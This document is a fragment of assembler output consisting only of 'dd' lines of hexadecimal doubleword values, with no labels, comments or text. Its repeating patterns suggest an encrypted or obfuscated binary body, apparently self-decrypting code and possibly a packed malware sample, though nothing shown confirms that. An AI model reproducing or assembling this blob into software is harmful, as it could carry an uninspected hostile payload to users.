		dd 6D875BF6h, 3BD1913Ch, 28E5E0EEh, 3895ED4Eh, 0C1393EB2h
		dd 0B01438A7h, 0A660812Ah, 9C76336Ah, 6AA652FFh, 726E4433h
		dd 0A6FB1427h, 0EDFD336Ah, 0CF7EA854h, 0E3AAE7D3h, 0F67617C1h
		dd 0BAh, 24E11CAAh, 6BEA913Ah, 12883EB8h, 0EC06246Bh, 1EF4F651h
		dd 58342C6Fh, 9F9B5771h, 39299665h, 812295D3h, 9717775Dh
		dd 0C89A293Bh, 5D4AE750h, 665C1777h, 1D70F78Eh,	0B6A2F270h
		dd 0E40EDC7Bh, 365BFC7Ah, 2817773Bh, 48AAD305h,	0CD66D11Fh
		dd 0D317773Bh, 0D4790BE7h, 0B12D3398h, 773BED06h, 2B07F317h
		dd 4DF28072h, 1FF7719Fh, 5221B0EBh, 0D98FC8E8h,	44883D37h
		dd 0EB546BCh, 0ABB563h,	1777C7E3h, 0F8471DF5h, 8AB500EAh
		dd 0AF4561D8h, 3C28C2E0h, 6244E30Dh, 1B7CFA88h,	24000000h
		dd 6600FC7Ah, 0A60C5A5Eh, 289A3744h, 168C35CCh,	5A24163Eh
		dd 7B092A1Fh, 825B1191h, 0CC9E3168h, 25C80726h,	243B4AF3h
		dd 507C93CAh, 84A8E786h, 0C4E42B52h, 0FDC732Ah,	5D0944E5h
		dd 56A496B7h, 0C681E689h, 4, 4EE81h, 34870000h,	3C895C24h
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 241C895Ch
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0BA522434h
		dd 50965604h, 549FC281h, 0EAD12081h, 1640E281h,	0BF570238h
		dd 61833C3Ah, 30F7814Fh, 8150F07Fh, 853448CFh, 36EF8172h
		dd 11F5D1Ah, 0EA815FFAh, 14E5222h, 9C4FEA81h, 0D3894CA7h
		dd 348B545Ah, 4C48124h,	53000000h, 2D240481h, 8F3F5031h
		dd 0BD550846h, 5FBB1441h, 6B74ED81h, 0DDF76EA0h, 2606ED81h
		dd 6E29CF95h, 348B5D08h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 2434FF5Ch, 4C4835Bh, 0F9F5C2E9h, 15C591FFh
		dd 49B4C8ADh, 0B872E0AAh, 6AC871Fh, 0E0FFC503h,	62031ECDh
		dd 3A258F0Fh, 62B71513h, 14EB20B2h, 3690111Eh, 5A21F221h
		dd 596CE01Ch, 330B636Eh, 0AC727E4h, 17841570h, 5B3C9A13h
		dd 3D138F1Dh, 21995E2Eh, 3E95A0A3h, 6BE0F9BBh, 65B9BD37h
		dd 3E051E60h, 697C2F76h, 4CC07EA5h, 2DA57078h, 40F3E9Fh
		dd 4F3D96Fh, 1167183Eh,	22357447h, 7A03C967h, 88FF8D8Dh
		dd 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B256CBC3h, 87D7C663h, 0B70F571Fh, 0AD8D89F1h
		dd 8B06A606h, 0A6164195h, 0D85C706h, 0B006A604h, 0F8000060h
		dd 0BE985C7h, 6A6h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 75034AC3h, 0F5321690h
		dd 0FB4FA9Ah, 582h, 0F0816600h,	0B5FFB1F4h, 6A61E41h, 7A9BD8Bh
		dd 95FF06A6h, 6A61A79h,	95295F53h, 6A62CA1h, 95FF006Ah
		dd 6A62959h, 4EEBC08Bh,	858DA7E1h, 57BC6330h, 4003671Fh
		dd 91D65B17h, 213C4ED8h, 24D7A52h, 0B816666Dh, 50D833D1h
		dd 5FFE31EBh, 1F2BB3BCh, 0C48786EBh, 0CD53D9F7h, 0ADED90F2h
		dd 120319D0h, 3432EF2Ch, 79C69D38h, 7E3A8A17h, 18F2C55Ch
		dd 8A00B82Fh, 8D8D4B3Dh, 6AC89F6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C7C35343h,	60DCE1D5h, 288822A5h
		dd 5ED9CB81h, 8D895674h, 6A606ADh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 98C35747h, 150920A1h, 5E91CB9h
		dd 0ED000000h, 319D0ADh, 3275B531h, 85C706A6h, 6A6040Dh
		dd 58C8h, 50DB589h, 85C706A6h, 6A60BE9h, 0
		dd 38A0Fh, 8B660000h, 55B5FFC1h, 2B06A611h, 0A60669BDh
		dd 7995FF06h, 6A06A61Ah, 5995FF00h, 8B06A629h, 7EEBC0h
		dd 0C35C7C62h, 8322AEEDh, 43C16182h, 0CB6C6613h, 0EB857680h
		dd 0B29D4C14h, 0DEAD7B38h, 33337277h, 0EF773182h, 0B5D9C197h
		dd 0CF5F8797h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h, 2770186Dh
		dd 467F6D25h, 5F59ED84h, 0E15D5DA1h, 6EAFE7D4h,	458B06B5h
		dd 0D8D781C5h, 78EE2AE4h, 0C734EF1Eh, 9E139BBBh, 0AEC94166h
		dd 0BCBFB4C6h, 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh, 29B19D05h
		dd 0F3674F39h, 5E85Dh, 0B1F00000h, 0BF24DB26h, 3610BFB5h
		dd 3160605Eh, 0A62D8995h, 5D958B06h, 6106A621h,	0F840Fh
		dd 9E80000h, 12000000h,	0AF222207h, 93D9B773h, 0C681615Bh
		dd 7319h, 0F4C38166h, 8BC03380h, 0A61E258Dh, 3034FF06h
		dd 7118589h, 605A06A6h,	0CEF1D181h, 8D8941DCh, 6A60101h
		dd 27C28161h, 0F34A238h, 487h, 3DBB6600h, 87C28163h, 891D01C9h
		dd 0A62E95BDh, 2FEA8106h, 66688241h, 0B2B0EB81h, 89061489h
		dd 0A60C5D85h, 0F88B6606h, 8903E883h, 0A62281BDh, 0BD334806h
		dd 6A60E21h, 8DACF881h,	850FFFFFh, 13h,	58C6F381h, 14E95E82h
		dd 94000000h, 2BBFB936h, 8B84572Bh, 0FF7FE9CFh,	0B341FFFFh
		dd 533FF01Eh, 5DB17DBAh, 0AEBDBA59h, 0DFBE3256h, 0ABB13250h
		dd 0D5B1B259h, 0EAB13256h, 75BD3013h, 0BD583256h, 0F6B13256h
		dd 90BA5294h, 37D1871Dh, 0E162B330h, 0D5333D39h, 8BB13256h
		dd 75B120BFh, 3E6B7456h, 2F6152D7h, 4F89CAD0h, 0BA77FB7Fh
		dd 0CAE38CC5h, 51BE3256h, 0EAB13257h, 30828AAFh, 0BAD0F854h
		dd 5DBCDB56h, 0D3C73256h, 5CAD9E6Eh, 641F02CCh,	0D5124DE6h
		dd 8CE35256h, 36C2EDD7h, 0BC313D09h, 52B13256h,	0AEB132DEh
		dd 57B15356h, 53B132AAh, 41483256h, 0FEB1681Ah,	9CB13256h
		dd 0BAB13259h, 765245D3h, 2E2B49B9h, 1F6DFB39h,	0AB11066Ch
		dd 50BE5256h, 0EAB13250h, 75B1B459h, 713A3256h,	1A8A237h
		dd 0AEB13E56h, 513A3D56h, 0A4B13256h, 0D5B132D6h, 3B13256h
		dd 75B1325Ah, 0E5F37433h, 0DF65346h, 3C2C5E96h,	0DCBE3256h
		dd 0ABB1324Fh, 0D5BEDA36h, 0C9C83256h, 3EB0A168h, 0BFAF5C20h
		dd 0AA63A404h, 0F4E76D71h, 0BEB13237h, 0ABB13259h, 0C0517136h
		dd 9E59838Ch, 0CAF50367h, 0BA4A055Ah, 0E9D15256h, 0AED05360h
		dd 503E3D56h, 0A4B13256h, 0D5B133DFh, 0EAB1CB56h, 75BFBA59h
		dd 0B3583256h, 0D2B13256h, 0B53FEA87h, 7C717E0h, 0A6583256h
		dd 81B13256h, 0D17B9374h, 5B3A8359h, 0FC92F317h, 0B4D13256h
		dd 0AEB13259h, 0C45D562Ah, 0CFD47F79h, 56D87161h, 8CFA9445h
		dd 147E46EFh, 3AD13256h, 0D8BE86B7h, 0AEB13254h, 0BED06806h
		dd 0ABB1325Fh, 0DD4C4E6Fh, 296610ECh, 15B13268h, 0DF618CAEh
		dd 5DD042E3h, 0AEB1C756h, 57B122BFh, 22F95356h,	17281D89h
		dd 37EE57A0h, 5E93B49Ah, 0B13F3DBAh, 3DB13256h,	9A48930h
		dd 9261B330h, 0ABB15399h, 2DB132AEh, 0EA4D3256h, 75B1C756h
		dd 0BAB0BB59h, 5D4D3256h, 0AEA1DB56h, 91B53256h, 62377764h
		dd 502A8763h, 8D1A2F68h, 75B15D09h, 0BAB0BF59h,	5D483256h
		dd 0AEBDDB56h, 0E0A43256h, 0B4D4840Dh, 0A4E44C33h, 0EAB163DEh
		dd 75B9BC59h, 36BE3256h, 5DB13254h, 0AEB35336h,	37B13256h
		dd 0A4718559h, 0D5B134DAh, 0EA3A3D56h, 14B13256h, 0BAB83581h
		dd 5DAB3255h, 0AEA43254h, 54AA327Fh, 39548A56h,	0CAEEA54Bh
		dd 0BDFE1BA9h, 24A3946Eh, 0DCD13256h, 3BD1E2DDh, 471828EFh
		dd 57B13253h, 6174969Ch, 0D5D053B1h, 0E2353D56h, 7AB13256h
		dd 0BAB130DDh, 5DD05256h, 0AEB1CE56h, 847BB336h, 0CDB00AF8h
		dd 0B42BEFEFh, 0F8583256h, 13B13256h, 47C80E90h, 0D3359BB5h
		dd 0B508F859h, 31A87F4Dh, 0ABBCDB4Ch, 1C413256h, 55A4ED59h
		dd 6273B241h, 0BA4570FBh, 5DB1CA56h, 0AEB1301Fh, 9E495F56h
		dd 31CEA3D1h, 0D5B1B5AAh, 0EAB9B859h, 0FCBE3256h, 0BAB13254h
		dd 5DB15336h, 47B1301Fh, 57B1325Dh, 0ECA28070h,	0C4E76AB4h
		dd 0C183ECF8h, 0E96FB996h, 0BAB137BFh, 0B27FFB56h, 2FD7B7AAh
		dd 0BEEDDAA7h, 0ABB13250h, 0E825D5F0h, 8B2CB164h, 75A5DB06h
		dd 4F9D3256h, 2CA9C9DCh, 375E500h, 0FE8141B4h, 0CEEDFD78h
		dd 0A327D96Ch, 3B5019Fh, 75B1325Ah, 0A9B37FB2h,	32FF7B06h
		dd 25EB372Ah, 7B2253CBh, 204AB8A3h, 3CE36256h, 0EAB13251h
		dd 5B180225h, 0B5D46E99h, 0B4E36267h, 0AEB1325Fh, 37D2A04Bh
		dd 270EEC4Fh, 85803D83h, 0B0803D04h, 2FE9680Eh,	9EF5BB0Eh
		dd 0B4E36252h, 0AEB1325Eh, 0F83FBBC6h, 602B77EAh, 87E10359h
		dd 0DBBE5336h, 75B13CBFh, 562E0C56h, 850A78E3h,	2A262467h
		dd 0D82903Bh, 0F3E9680Eh, 0C006006h, 51D70359h,	2DEB4888h
		dd 9EF5BB37h, 0B4E36252h, 0AEB13250h, 0DA9585E0h, 9ABE6114h
		dd 49EF8136h, 0EAB139BFh, 88E59556h, 437171A4h,	0E85DAD68h
		dd 4769F2D6h, 57B13250h, 0C635A540h, 0B42C01F4h, 0DBE96A0Ch
		dd 7F58AE36h, 60B13256h, 0FBB0DA5Dh, 9C8CA6B1h,	2974B2D5h
		dd 0ABB126BFh, 5F441E56h, 0BCC02AADh, 971CF681h, 94180225h
		dd 67D46E99h, 0FCE1AFBDh, 0FEB0359h, 0F3E96837h, 1E34A489h
		dd 47172F4Dh, 0DC61EFCDh, 0FCCCBE2Dh, 5D443256h, 0A4353D56h
		dd 37B13256h, 4530C9DDh, 0F8D7BE29h, 0E5B13237h, 75B126D3h
		dd 0BABEDB56h, 0D4AF3256h, 6ADBEF93h, 14C3557Eh, 359BC62Ch
		dd 0DAB132A9h, 0EAB121DBh, 75BFDB56h, 61513256h, 720BEDB8h
		dd 5A19EB9Ch, 8FD10BD6h, 0CDD13256h, 0B30C75ECh, 8B55ABEEh
		dd 0F3BE3256h, 0BAB13257h, 0A8B132AEh, 663A5436h, 57B120BEh
		dd 1B140C56h, 18D27D23h, 0ACE6DF54h, 17FD717Ah,	0DC9D7686h
		dd 516E8EFh, 47B13237h,	57B1325Fh, 0A713AA3Bh, 8572E3FEh
		dd 3B1323Ah, 75B13259h,	0B1C30DFEh, 0FAE857F6h,	7EC27E3h
		dd 5794A8D8h, 0B93E3D56h, 3CB13256h, 0EAB1325Bh, 8A496198h
		dd 9959A49Eh, 47DAEB89h, 0CEB132B7h, 0E803EADDh, 42B13237h
		dd 0D5B1325Ah, 0AFEBA43Ch, 0ABE4EF68h, 36ADADF9h, 0EDD13256h
		dd 0DD79B375h, 36898E81h, 43D13256h, 0D5B13245h, 33BA03D8h
		dd 4C3EAED9h, 24CB3F93h, 118DB9D9h, 0A11564F3h,	57B132D2h
		dd 0ABD06A56h, 0DA313D56h, 8AB13256h, 75B13ABFh, 54AB6456h
		dd 8C5E537Eh, 0AEB1536Eh, 57B13ABFh, 7A51AD56h,	0F282941Dh
		dd 12B13298h, 8C4D3256h, 0BA4D3256h, 5DB1CA56h,	47B132AEh
		dd 57B13246h, 92628C74h, 4B935997h, 0E665EA31h,	0DE53D26Ch
		dd 0BA483256h, 5C3F3D56h, 56B13256h, 0D6D13256h, 8EF7399Eh
		dd 0E50A547Fh, 0EAB15326h, 9CB132AAh, 0BAB13245h, 6F90AE1Fh
		dd 0FCEE86F0h, 3283940Eh, 54E05C85h, 0D57DA23Dh, 0EAB1C756h
		dd 75B13ABFh, 50CE1356h, 0B55DD96Bh, 2FD7527Fh,	0BE0FA480h
		dd 0ABB13244h, 7E66E8DDh, 2DB9B47h, 0F8ED74D1h,	1EA01E8Ah
		dd 5DD0FA6Ch, 0AEB1CE56h, 443E3DAFh, 0A4B13256h, 0D5B13FD7h
		dd 0EAB9DB56h, 9AE53256h, 0E98CD0DCh, 5DB1B347h, 19BE5236h
		dd 16085490h, 0AC58537Ah, 7FB13256h, 50A79A8Dh,	75D048F6h
		dd 0B1363D56h, 0B4B13256h, 0AEB13250h, 0C67292EFh, 0ABB1F855h
		dd 0D5B5BA59h, 5ED13256h, 75B15326h, 3BD75236h,	0DD12B5A1h
		dd 0A1D03F95h, 57B127DCh, 0ABA1DB56h, 756C3256h, 0B818DB11h
		dd 0D5EA4B64h, 0C36EB103h, 5DD0C658h, 4F315256h, 5D0954C3h
		dd 0ABB15309h, 0B5B132AAh, 8B6BB930h, 7A583256h, 0B0B13256h
		dd 2AAAA7C6h, 770E857Fh, 7B68A4DDh, 0ABB163AAh,	5ED75236h
		dd 0EABDDBA1h, 857D3256h, 0AC94240Bh, 0B2903EBh, 0C8D08507h
		dd 36D823EDh, 0ABB135BFh, 0F9F38756h, 4242D6E9h, 0FEBE3256h
		dd 0BAB1324Eh, 5DBEDB36h, 0E2483256h, 2B5DED06h, 95949CF0h
		dd 0B31F9BEBh, 8B69B907h, 67583256h, 6FB13256h,	0E7CAFDA9h
		dd 8E4C1605h, 0DE2BA843h, 9E34322Fh, 0B5B132CFh, 8CD05236h
		dd 148CD5EDh, 0BAB2B059h, 0E2BE3256h, 0AEB1539Ch, 37B132AEh
		dd 7D69B330h, 25BB389h,	8BD014AFh, 13D13256h, 0DC2809ECh
		dd 3C9AD3ECh, 0FDD13256h, 0D6EFCBDDh, 0AE3BA8Dh, 0D5B1537Ah
		dd 3B132AEh, 75B1325Fh,	3B0433Ah, 5AE259B6h, 52B1328Bh
		dd 0EED13256h, 9D4D25D8h, 0DAB13237h, 0EAB12BD5h, 75A5DB56h
		dd 13FF3256h, 684146CFh, 6CC73570h, 7DF95E2Bh, 0ECC371FCh
		dd 2DD113FDh, 0EAB7BB59h, 95303256h, 0D0F28329h, 52B13237h
		dd 0AEB127D5h, 57A1DB56h, 72D23256h, 4A9CE6A1h,	447000DCh
		dd 0A7EA9158h, 0DCD1BC9Ch, 0AD3BF4DDh, 56B13237h, 58483256h
		dd 0ABB125D7h, 0D5A3DB56h, 0C4E33256h, 2E2874BCh, 73AA2556h
		dd 0A59502A6h, 7823E6E0h, 0D1BE3256h, 0ABB13251h, 0B37FB936h
		dd 0EAD0F8DDh, 0C2BE5256h, 0BABADA90h, 0AEB83256h, 5DB12569h
		dd 158E8AD2h, 0AB353D88h, 8AB13256h, 3B13237h, 75B1325Bh
		dd 0C4D826E0h, 5ECCD127h, 0CCA873C0h, 37B1324Dh, 0CA478D59h
		dd 0D5493256h, 0EAB1CA56h, 75B8DBA3h, 0D993256h, 0BF653422h
		dd 0AEBFFF41h, 57B1CB56h, 57B132AAh, 0D5B139BFh, 34D64656h
		dd 9A45B7DFh, 4A62757Ch, 5D483256h, 0AEA1DB56h,	0F4BD3256h
		dd 0B69E51C7h, 0EDD27E84h, 30365EF4h, 0F4BEFA5Dh, 0BAB1325Eh
		dd 5DB3B559h, 0CFD13256h, 50583256h, 16B13256h,	0CDA9B7B3h
		dd 0EAB18C63h, 75B13ABFh, 0F6247156h, 3F53137Ah, 0AEB6DB40h
		dd 81E93256h, 0DBA7DCB6h, 0DAB13223h, 0EAB135D8h, 74323D56h
		dd 4FB13256h, 5D4D3256h, 0AEB1CA56h, 0BEB132AAh, 0ABB13259h
		dd 0EA3BB851h, 9AEB41B2h, 6CECF75Fh, 0BA051200h, 5DB1CB56h
		dd 0AEB9B459h, 0DABE3256h, 0ABB13254h, 5FD15336h, 0EAB153B7h
		dd 15B132AAh, 0BAB135BEh, 0D9626956h, 1A6001CEh, 57B1B659h
		dd 0CAEB3256h, 0DAD13256h, 0EAD0C2E9h, 743D3D56h, 4FB13256h
		dd 0DDD13256h, 0A258A382h, 8AB13256h, 0D89E2BB2h, 0DEA53A61h
		dd 8BBB34E4h, 7E583256h, 18B13256h, 443CA13Ch, 51160170h
		dd 57B154B7h, 0ABB6B159h, 0DAD13256h, 43BF3E9h,	15B13237h
		dd 0BAB13ABFh, 0D9DFCE56h, 80F4D03h, 7D08541Eh,	0ABB153E7h
		dd 0D5A6B559h, 60D13256h, 75BFDB9Dh, 4A413256h,	0D0F5BDA7h
		dd 0EF28CEE2h, 4582F16Ch, 0A4B13237h, 0D5B123D2h, 0EABDDB56h
		dd 3D563256h, 0EC0A6689h, 0A3323B4h, 26BE3AC3h,	57B13257h
		dd 57B132A3h, 0B5B132AAh, 0EAA7BA59h, 64583256h, 0E8B13256h
		dd 0AF4BFB1h, 0D101F38h, 0FEB55642h, 2A592671h,	0D5B153AAh
		dd 0EE313D36h, 13B13256h, 0DBD5C0EDh, 0DEBE3256h, 0AEB1325Dh
		dd 57B134BFh, 414FF056h, 0D537E4E0h, 0EB313D56h, 80B13256h
		dd 0AE583256h, 60B13256h, 143966E8h, 0F132D4F4h, 0D08F096Dh
		dd 8B26B42Dh, 8A885CFDh, 62B38B30h, 0BAA9BC59h,	4E583256h
		dd 95B13256h, 8153FF15h, 4B13565Ch, 711790ACh, 58CA3587h
		dd 75D01E40h, 0BD3B3D56h, 52B13256h, 0AEB133DCh, 57B1C756h
		dd 0ABB13EBFh, 70A01D56h, 0CA9C550Fh, 36D1B8B3h, 0B5B132B6h
		dd 5DB121D7h, 0A3393D56h, 0BEB13256h, 0ABB1325Eh, 898375B5h
		dd 0C836766Fh, 70583256h, 47B13256h, 3061B302h,	2FBE3256h
		dd 57B1325Dh, 0ABB134BFh, 0A387A56h, 0EA73AB79h, 75BBDB56h
		dd 95323256h, 8DDFA2EBh, 331389C6h, 0D4BE3256h,	0ABB13242h
		dd 0D5BFB859h, 0E3583256h, 0D8B13256h, 0C6D711F7h, 8AD53736h
		dd 0AEB9DB36h, 54143256h, 425BC168h, 6FD7F9E0h,	0EAD0D13Dh
		dd 873A5256h, 0C488F9D7h, 52D061FBh, 0AEB133D3h, 57B1C756h
		dd 0ABBABB59h, 0DAD13256h, 0EAB132D8h, 0AE063D56h, 53B13237h
		dd 5DB13247h, 82A4085Dh, 3EA1A5EEh, 5E1D0DD4h, 0E48B2DA2h
		dd 1FB13249h, 75A2B459h, 52D13256h, 5DB1325Eh, 5DA7B140h
		dd 2A993814h, 540E3D0Ch, 0DAB13237h, 0EAB136D4h, 14D15256h
		dd 4FB13237h, 51583256h, 25B13256h, 1DA190E2h, 7E40C4E0h
		dd 0D5FF443Dh, 0EAB8DB56h, 157B3256h, 0C56C4AD5h, 5D9E5820h
		dd 0A2585256h, 0F2B13256h, 16369749h, 1190BAEh,	8BAAF0CAh
		dd 75493256h, 0BD363D56h, 3DB13256h, 194BB930h,	57B15367h
		dd 0ABB6BE59h, 5CBE3256h, 0EAB13257h, 15B132AAh, 0BAB3B659h
		dd 0AF3A3256h, 0CF628559h, 0AE443256h, 2BBE3256h, 0D5B1324Bh
		dd 0EAA2DB36h, 3AB3256h, 0E2A2AFC9h, 0B7AA9057h, 1B808277h
		dd 3C7EDDA9h, 713A5496h, 3CB13237h, 0EAB13246h,	0BCDEB2CCh
		dd 8E8B7A8Ah, 0CCA9C6F6h, 0EE6EA6DCh, 0DCD13256h, 61848A80h
		dd 0D5D05FB6h, 0EABFDB56h, 36B43256h, 0A9246A61h, 0CFF70746h
		dd 9A4AC936h, 0DBBE3256h, 0ABB13257h, 0B5B132AFh, 0EAB126BFh
		dd 14007756h, 0B1F155C0h, 0BF434508h, 0CE127F03h, 0A19D19B4h
		dd 0ABB4DB09h, 983E3256h, 8B772513h, 0FFBE3256h, 0BAB1324Ah
		dd 1271B336h, 47F58363h, 57B13259h, 972F9B5Bh, 2C4DA647h
		dd 7974AD38h, 14569800h, 4D13256h, 2CFE14DFh, 0AEB134BFh
		dd 0E3815256h, 0CAB4EB27h, 33A5436h, 0EAB7BA59h, 0AD303256h
		dd 0A79B6DF8h, 3DB13237h, 0AEB3BF59h, 0AD3A3256h, 0CA40B930h
		dd 0D5493256h, 0EAB1CB56h, 80B132AAh, 53483256h, 5DB13258h
		dd 4BA15172h, 0B4BE2FECh, 3010C715h, 0D5B17E87h, 0EAB0BA59h
		dd 75493256h, 0B6343D56h, 3DB13256h, 5561B330h,	0BF3054E9h
		dd 0ABD0B03Fh, 0D2333D56h, 0E5B13256h, 75B133DCh, 0BAB1CB56h
		dd 5DB15336h, 1E7AB336h, 0E9D48851h, 9CDFF340h,	3CB13237h
		dd 0EAB1325Bh, 8C07A5F8h, 4981C786h, 48700962h,	47B13257h
		dd 57B1325Fh, 0FDFC3499h, 0D4D16AEAh, 55BE524Ch, 0DD0F5494h
		dd 0BAB153BDh, 0A1B132A3h, 0CED13256h, 0D7668D59h, 13D0A49Ch
		dd 0AE8EABF2h, 12B13237h, 73583256h, 0BBB13256h, 2872165Fh
		dd 0CEB13206h, 5B58F1DDh, 0F9B13256h, 0B03EAAE6h, 0A277D8F8h
		dd 146DD2A2h, 0BA443256h, 5C353D56h, 56B13256h,	0D2BE3256h
		dd 0ABB13245h, 0D5B13CBFh, 493B5456h, 180A1321h, 6B50E2D3h
		dd 5D49078Ch, 0B3373D56h, 58B13256h, 0ABB125D4h, 0D5A3DB56h
		dd 43743256h, 0B7CAC550h, 0F2AC2FC6h, 7B6BAAA3h, 0FA9054A8h
		dd 57A4B259h, 43D13256h, 0D5B1325Dh, 0F4A0D4F6h, 1D344710h
		dd 0E0190A6Fh, 5DD0FDDDh, 0AEB1CB56h, 80075236h, 0ABB120BFh
		dd 0A08F1F56h, 74C8FD3Bh, 4363DD1Ah, 0E8A7C269h, 3CD693DFh
		dd 0CF7AB930h, 37D13256h, 0AE5982E6h, 0AFB13256h, 92129755h
		dd 0C2BE5308h, 0BAB1538Eh, 5DD0CB36h, 5B485256h, 0AEB13237h
		dd 0A4D13256h, 0D5B130DBh, 8B838656h, 0F2BE3256h, 0BAB1325Eh
		dd 5DB3B959h, 0CFD13256h, 0D5BE3256h, 0ABB13257h, 0DAB132AFh
		dd 0EAB133D2h, 75B1CB56h, 0BAB6B659h, 0DCBE3256h, 0AEB13257h
		dd 41303DAEh, 42B13256h, 0D5B13247h, 5400CA53h,	0B27934B6h
		dd 9B741719h, 36A59A2Fh, 47B132C1h, 57B13244h, 0F3303E07h
		dd 97984A79h, 0F17EAD4Eh, 0B2974797h, 0BAB1C65Bh, 5DB0BE59h
		dd 0AE443256h, 50383D56h
		dd 0A4B13256h, 0D5B133DAh, 0EAB1CE56h, 75A1B059h, 52D13256h
		dd 5DB13250h, 989C07E7h, 37EE54F6h, 0AB485337h,	0D5B1CA56h
		dd 0EAA0B359h, 79583256h, 0C1B13256h, 5EDD0CA4h, 0D21DAA61h
		dd 0BE0D07B0h, 0ABB13251h, 4C4C8D2Dh, 0EAA14A36h, 75B1CA56h
		dd 0DAB132AEh, 5DB13FBFh, 0E2D07556h, 0F1B8F18Eh, 0D20F3AC7h
		dd 62BEB309h, 0EAB153AFh, 75BCDBAFh, 78CD3256h,	0E2F9F56Dh
		dd 5B7403B6h, 57D94245h, 0ABB1CE56h, 150E5436h,	0EAB153BCh
		dd 75BDB459h, 0BD583256h, 98B13256h, 0B37D908Eh, 0D8BEF837h
		dd 0ABB13257h, 3CB132A3h, 0EAB1325Dh, 4880FA56h, 0BACB55F6h
		dd 0B498216Ah, 0AEB1325Ah, 3817DD76h, 0F177EEC9h, 631A3483h
		dd 0EA443256h, 220A5256h, 0DCE6C287h, 9F5BF4D7h, 47B13237h
		dd 57B13253h, 0FF9782F6h, 3CB13226h, 0EAB13258h, 3A3FF6D6h
		dd 0E475E2B4h, 7080EAECh, 0AEB15FACh, 57B123BFh, 49333856h
		dd 5B8C6DD3h, 2B691870h, 1B981EC2h, 0BAB14299h,	0A1B132AFh
		dd 5BD13256h, 37B13237h, 71F9EDD7h, 0DE582BB5h,	35B13256h
		dd 5D3AD924h, 2114D942h, 5DD07E03h, 0A93E3D56h,	58B13256h
		dd 0ABB133D9h, 0D5B1CA56h, 0EAB138BFh, 936C5B56h, 0F95984A2h
		dd 5DB2FCFEh, 16E35256h, 385F157Ch, 0ABBFDA0Fh,	6DD43256h
		dd 76F37760h, 5D463FA6h, 9085E696h, 5DB120BEh, 22F41256h
		dd 1D165B1h, 3899527Fh,	89979A1Dh, 0B166F3BBh, 75B15309h
		dd 4776B336h, 3CFFB7AAh, 0BF583256h, 1FB13256h,	0B848B92Ch
		dd 8CCFFA2h, 8AD64444h,	24B6E510h, 0BA4D3256h, 51353D56h
		dd 0A1B13256h, 57B134D3h, 0AB303D56h, 0B5B13256h, 0B14FB805h
		dd 75B3B859h, 6D3A3256h, 52B13237h, 0AEB131DEh,	36445256h
		dd 0AB443256h, 363B5256h, 0EAECDBD7h, 7AD02CB3h, 0BAB12CDAh
		dd 45303D56h, 47B13256h, 57B13245h, 13462F64h, 0B33421EEh
		dd 5F71FDE8h, 903A54EEh, 0BADB9DD5h, 3BD15256h,	0F0E3F1DDh
		dd 5F9A8A37h, 0ABD00C09h, 0D5BEDB56h, 3A903256h, 6CC5C21Bh
		dd 255AF4C9h, 86BA59AEh, 57B1323Dh, 0D4BE3256h,	0ABB1324Fh
		dd 0D5A2BC59h, 0E4583256h, 29B13256h, 0BFC53E78h, 6325F996h
		dd 47D92748h, 58B13252h, 0ABB13ED0h, 0D3333D56h, 0E5B13256h
		dd 75B132DFh, 0B5B13256h, 5DB133D6h, 0AEB1CE56h, 56383DA3h
		dd 53B13256h, 6BD13256h, 0DB04BDFCh, 7AB13237h,	0BAB133D7h
		dd 52D1C756h, 0AEB132D9h, 81305456h, 0ABD08EAFh, 0D5A2DB56h
		dd 0B6F93256h, 194B10B9h, 6297EEA9h, 15572B9Bh,	8DA0B7C2h
		dd 0A2B132C0h, 0A2583256h, 0B3B13256h, 0DCF84A99h, 0BFE98472h
		dd 36BE3256h, 5DB13257h, 0CEB132AAh, 365F86AEh,	0A4D13256h
		dd 0D5B130D7h, 3D05256h, 75B13246h, 8C4B3E42h, 863B3CC1h
		dd 527DC11Eh, 24CD1A7h,	57B13237h, 3C483256h, 0EAB13247h
		dd 0D48B9DC5h, 821D66E4h, 0C533EA73h, 90AE6A47h, 58B13221h
		dd 0ABB124D3h, 0D5A0DB56h, 0DC8F3256h, 0E477B7E5h, 0A4E8987Eh
		dd 555D39C8h, 0AEE525E5h, 57A0DB56h, 4DA73256h,	406CCCE9h
		dd 55B79390h, 0C721A388h, 0B5ABF5BBh, 5DB139D1h, 11BE5256h
		dd 57353D9Eh, 0CAB13256h, 0C1583256h, 31B13256h, 0EF6D8109h
		dd 0F129DEEDh, 5D9697A9h, 0C97DFE35h, 0AEE14CB0h, 27BE3256h
		dd 0D5B13247h, 0EAB13EBFh, 6532CA56h, 0A0425C93h, 55DFAA8Fh
		dd 0CEB13223h, 0BED0FCE4h, 0ABB13259h, 0DDC45914h, 58902EF4h
		dd 0DEB5CC82h, 0BAAC581Ah, 5C353D56h, 5BB13256h, 37B132A3h
		dd 0F374B805h, 0D5B13BBEh, 4088B856h, 0E53DF2E6h, 0BD589831h
		dd 1AB13256h, 0B474C6DDh, 36EAF52Dh, 2ABE3256h,	0D5B13257h
		dd 8AB132AEh, 75B2BA59h, 5BE3256h, 853A54A0h, 0CEB13237h
		dd 57BABB59h, 0AD583256h, 0E1B13256h, 78FB96F7h, 75B1536Ah
		dd 0BAA5B359h, 52583256h, 0FDB13256h, 8150BD02h, 25C3DA99h
		dd 3BE8E83Bh, 0EAB1D9BBh, 0FE59B836h, 0BAB15399h, 5DB13EBFh
		dd 84D0CF56h, 975D912Fh, 52C1D83Eh, 20B1326Ch, 0EAB9B359h
		dd 0F5D13256h, 0DBE3580h, 5DB1538Ch, 0AEA3DA36h, 830F3256h
		dd 18D1E88Ch, 0C2812B59h, 1003E55Dh, 0FDF23ACAh, 0BAB139BFh
		dd 26113356h, 59EBAA23h, 0A4CDF549h, 7D30540Ch,	0D5D00FCCh
		dd 4D085256h, 15BBEC66h, 33EF2BE8h, 3C69B973h, 47B13237h
		dd 57B1325Dh, 0FA605478h, 0FA68D92Eh, 38F1EE5h,	75B1325Ch
